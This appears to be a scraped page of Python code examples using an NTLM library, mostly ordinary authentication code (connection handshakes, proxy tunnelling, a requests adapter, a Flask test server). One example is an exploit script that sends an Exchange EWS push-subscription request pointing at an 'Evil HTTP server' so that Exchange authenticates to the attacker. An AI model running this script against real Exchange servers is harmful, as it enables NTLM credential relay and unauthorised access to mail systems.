        log.debug('Response data: %s [...]', res.read()[:100])
        if res.status != 200:
            if res.status == 401:
                raise Exception('Server rejected request: wrong '
                                'username or password')
            raise Exception('Wrong server response: %s %s' %
                            (res.status, res.reason))
Beispiel #20
0
def main(ip, port, proto):

    #Connection to server
    if proto == 'https':
        conn = httplib.HTTPSConnection(ip, port)
        #conn = httplib.HTTPSConnection(ip)
    else:
        conn = httplib.HTTPConnection(ip, port)

    print "Sending 'PushSubscription' EWS request..."

    #SOAP request with URL pointing to our Evil HTTP server
    body = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
   <soap:Header>
      <t:RequestServerVersion Version="Exchange2013" />
   </soap:Header>
   <soap:Body >
      <m:Subscribe>
         <m:PushSubscriptionRequest SubscribeToAllFolders="true">

                 <t:EventTypes>
          <t:EventType>NewMailEvent</t:EventType>
          <t:EventType>ModifiedEvent</t:EventType>
          <t:EventType>MovedEvent</t:EventType>
        </t:EventTypes>
               <t:StatusFrequency>1</t:StatusFrequency>
               <t:CallerData>DesktopOutlook</t:CallerData>
               <t:URL>''' + EVIL_HTTPSERVER_URL + '''</t:URL>
         </m:PushSubscriptionRequest>
      </m:Subscribe>
   </soap:Body>
</soap:Envelope>
'''

    #Headers with NTLM NEGOTIATE
    ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER)
    headers = {
        "Authorization": "NTLM " + ntlm_negotiate,
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    #sending request and receiving response
    conn.request("POST", URL, body, headers)
    response = conn.getresponse()
    resp_data = response.read()
    if print_debug_info:
        print "[DEBUG]: Received response:"
        print response.status, response.reason, '\n', response.msg, '\n', resp_data

    if response.status == 401:

        print "\nGot 401 response with NTLM NONCE."
        print "Trying authenticate current user..."

        #Calculation of NTLM AUTHENTICATE response
        Nonce = response.getheader("WWW-Authenticate")
        (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(
            Nonce[len("NTLM "):])
        ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(
            ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags)

        #Adding NTLM response in Authorization header
        headers["Authorization"] = "NTLM " + ntlmresponce

        #sending request and receiving response
        conn.request("POST", URL, body, headers)
        response = conn.getresponse()
        resp_data = response.read()

        if print_debug_info:
            print "\n[DEBUG]: Received response:"
            print response.status, response.reason, '\n', response.msg, '\n', resp_data

        if response.status == 401:
            print "\nAuthentication ERROR:"
            print "Cannot authenticate '" + DOMAIN + "/" + USER + "' with password '" + PASS + "'"

    conn.close()

    print "\n\nThe Script is finished. \n"

    return 1
Beispiel #21
0
    def _new_conn(self):
        # Performs the NTLM handshake that secures the connection. The socket
        # must be kept open while requests are performed.
        self.num_connections += 1
        log.debug(
            "Starting NTLM HTTPS connection no. %d: https://%s%s",
            self.num_connections,
            self.host,
            self.authurl,
        )

        headers = {"Connection": "Keep-Alive"}
        req_header = "Authorization"
        resp_header = "www-authenticate"

        conn = HTTPSConnection(host=self.host, port=self.port)

        # Send negotiation message
        headers[
            req_header] = f"NTLM {ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser)}"
        log.debug("Request headers: %s", headers)
        conn.request("GET", self.authurl, None, headers)
        res = conn.getresponse()
        reshdr = dict(res.getheaders())
        log.debug("Response status: %s %s", res.status, res.reason)
        log.debug("Response headers: %s", reshdr)
        log.debug("Response data: %s [...]", res.read(100))

        # Remove the reference to the socket, so that it can not be closed by
        # the response object (we want to keep the socket open)
        res.fp = None

        # Server should respond with a challenge message
        auth_header_values = reshdr[resp_header].split(", ")
        auth_header_value = None
        for s in auth_header_values:
            if s[:5] == "NTLM ":
                auth_header_value = s[5:]
        if auth_header_value is None:
            raise Exception(
                f"Unexpected {resp_header} response header: {reshdr[resp_header]}"
            )

        # Send authentication message
        ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(
            auth_header_value)
        auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(
            ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags)
        headers[req_header] = f"NTLM {auth_msg}"
        log.debug("Request headers: %s", headers)
        conn.request("GET", self.authurl, None, headers)
        res = conn.getresponse()
        log.debug("Response status: %s %s", res.status, res.reason)
        log.debug("Response headers: %s", dict(res.getheaders()))
        log.debug("Response data: %s [...]", res.read()[:100])
        if res.status != 200:
            if res.status == 401:
                raise Exception(
                    "Server rejected request: wrong username or password")
            raise Exception(
                f"Wrong server response: {res.status} {res.reason}")

        res.fp = None
        log.debug("Connection established")
        return conn
        def _tunnel(self, ntlm_follow_up=False):
            """
            This custom _tunnel method allows us to read and print the debug
            log for the whole response before throwing an error, and adds
            support for proxy authentication
            """

            self._proxy_host = self.host
            self._proxy_port = self.port
            self._set_hostport(self._tunnel_host, self._tunnel_port)

            self._tunnel_headers['Host'] = u"%s:%s" % (self.host, self.port)
            self._tunnel_headers['User-Agent'] = self.user_agent
            self._tunnel_headers['Proxy-Connection'] = 'Keep-Alive'

            request = "CONNECT %s:%d HTTP/1.1\r\n" % (self.host, self.port)
            for header, value in self._tunnel_headers.items():
                request += "%s: %s\r\n" % (header, value)
            self.send(request + "\r\n")

            response = self.response_class(self.sock, strict=self.strict,
                method=self._method)
            (version, code, message) = response._read_status()

            status_line = u"%s %s %s" % (version, code, message.rstrip())
            headers = [status_line]

            if self.debuglevel in [-1, 5]:
                console_write(u'Urllib %s Debug Read' % self._debug_protocol, True)
                console_write(u"  %s" % status_line)

            content_length = 0
            close_connection = False
            while True:
                line = response.fp.readline()
                if line == '\r\n':
                    break

                headers.append(line.rstrip())

                parts = line.rstrip().split(': ', 1)
                name = parts[0].lower()
                value = parts[1].lower().strip()
                if name == 'content-length':
                    content_length = int(value)

                if name in ['connection', 'proxy-connection'] and value == 'close':
                    close_connection = True

                if self.debuglevel in [-1, 5]:
                    console_write(u"  %s" % line.rstrip())

            # Handle proxy auth for SSL connections since regular urllib punts on this
            if code == 407 and self.passwd and ('Proxy-Authorization' not in self._tunnel_headers or ntlm_follow_up):
                if content_length:
                    response._safe_read(content_length)

                supported_auth_methods = {}
                for line in headers:
                    parts = line.split(': ', 1)
                    if parts[0].lower() != 'proxy-authenticate':
                        continue
                    details = parts[1].split(' ', 1)
                    supported_auth_methods[details[0].lower()] = details[1] if len(details) > 1 else ''

                username, password = self.passwd.find_user_password(None, "%s:%s" % (
                    self._proxy_host, self._proxy_port))

                do_ntlm_follow_up = False

                if 'digest' in supported_auth_methods:
                    response_value = self.build_digest_response(
                        supported_auth_methods['digest'], username, password)
                    if response_value:
                        self._tunnel_headers['Proxy-Authorization'] = u"Digest %s" % response_value

                elif 'basic' in supported_auth_methods:
                    response_value = u"%s:%s" % (username, password)
                    response_value = base64.b64encode(response_value).strip()
                    self._tunnel_headers['Proxy-Authorization'] = u"Basic %s" % response_value

                elif 'ntlm' in supported_auth_methods and os.name == 'nt':
                    ntlm_challenge = supported_auth_methods['ntlm']
                    if not len(ntlm_challenge):
                        type1_flags = ntlm.NTLM_TYPE1_FLAGS
                        if username.find('\\') == -1:
                            type1_flags &= ~ntlm.NTLM_NegotiateOemDomainSupplied

                        negotiate_message = ntlm.create_NTLM_NEGOTIATE_MESSAGE(username, type1_flags)
                        self._tunnel_headers['Proxy-Authorization'] = 'NTLM %s' % negotiate_message
                        do_ntlm_follow_up = True
                    else:
                        domain = ''
                        user = username
                        if username.find('\\') != -1:
                            domain, user = username.split('\\', 1)

                        challenge, negotiate_flags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(ntlm_challenge)
                        self._tunnel_headers['Proxy-Authorization'] = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(challenge, user,
                            domain, password, negotiate_flags)

                if 'Proxy-Authorization' in self._tunnel_headers:
                    self.host = self._proxy_host
                    self.port = self._proxy_port

                    # If the proxy wanted the connection closed, we need to make a new connection
                    if close_connection:
                        self.sock.close()
                        self.sock = socket.create_connection((self.host, self.port), self.timeout)

                    return self._tunnel(do_ntlm_follow_up)

            if code != 200:
                self.close()
                raise socket.error("Tunnel connection failed: %d %s" % (code,
                    message.strip()))
Beispiel #23
0
        def retry_using_http_NTLM_auth(self, auth_header_field, auth_header,
                                       response, args):
            """Attempt to authenticate using HTTP NTLM challenge/response."""
            if auth_header in response.request.headers:
                return response

            request = response.request.copy()

            content_length = int(request.headers.get('Content-Length', '0'))
            if hasattr(request.body, 'seek'):
                if content_length > 0:
                    request.body.seek(-content_length, 1)
                else:
                    request.body.seek(0, 0)

            adapter = self.adapter
            if self.session:
                session = self.session()
                if session:
                    adapter = session.get_adapter(response.request.url)

            # initial auth header with username. will result in challenge
            msg = "%s\\%s" % (self.domain, self.username) if self.domain else self.username
            auth = '%s %s' % (self.auth_scheme, ntlm.create_NTLM_NEGOTIATE_MESSAGE(msg))
            request.headers[auth_header] = auth

            # A streaming response breaks authentication.
            # This can be fixed by not streaming this request, which is safe
            # because the returned response3 will still have stream=True set if
            # specified in args. In addition, we expect this request to give us a
            # challenge and not the real content, so the content will be short
            # anyway.
            args_nostream = dict(args, stream=False)
            response2 = adapter.send(request, **args_nostream)

            # needed to make NTLM auth compatible with requests-2.3.0
            response2.content

            # this is important for some web applications that store
            # authentication-related info in cookies (it took a long time to
            # figure out)
            if response2.headers.get('set-cookie'):
                request.headers['Cookie'] = response2.headers.get('set-cookie')

            # get the challenge
            auth_header_value = response2.headers[auth_header_field]
            ntlm_header_value = list(filter(
                lambda s: s.startswith('%s ' % self.auth_scheme), auth_header_value.split(',')
            ))[0].strip()
            ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(
                ntlm_header_value[(len(self.auth_scheme) + 1):]
            )

            # build response
            request = request.copy()
            auth = '%s %s' % (self.auth_scheme, ntlm.create_NTLM_AUTHENTICATE_MESSAGE(
                ServerChallenge, self.username, self.domain, self.password,
                NegotiateFlags
            ))
            request.headers[auth_header] = auth

            response3 = adapter.send(request, **args)

            # Update the history.
            response3.history.append(response)
            response3.history.append(response2)

            return response3
from flask import Flask,request
from ntlm import ntlm
app = Flask(__name__)

REQUEST_2 = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("domain\\username")

RESPONSE_2 = 'NTLM TlRMTVNTUAACAAAADAAMADAAAAAHAgMAESIzRFVmd4gAAAAAAAAAAGIAYgA8AAAARABPAE0AQQBJAE4AAgAMAEQATwBNAEEASQBOAAEADABTAEUAUgBWAEUAUgAEABYAZQB4AGEAbQBwAGwAZQAuAGMAbwBtAAMAJABTAEUAUgBWAEUAUgAuAGUAeABhAG0AcABsAGUALgBjAG8AbQAAAAAA'
ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(RESPONSE_2[5:])

REQUEST_3 = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, 'username', 'domain', 'password', NegotiateFlags)

@app.route("/")
def ntlm_auth():
    response_headers = {'WWW-Authenticate':'NTLM'}
    status_code = 401
    response = "auth with 'domain\\username':'******'"

    # 2nd request
    if request.headers.get('Authorization','') == REQUEST_2:
        response_headers = {'WWW-Authenticate':RESPONSE_2}
        status_code = 401

    # 3rd request
    elif request.headers.get('Authorization','') == REQUEST_3:
        response_headers = {}
        status_code = 200
        response = "authed"

    return response,status_code,response_headers

if __name__ == "__main__":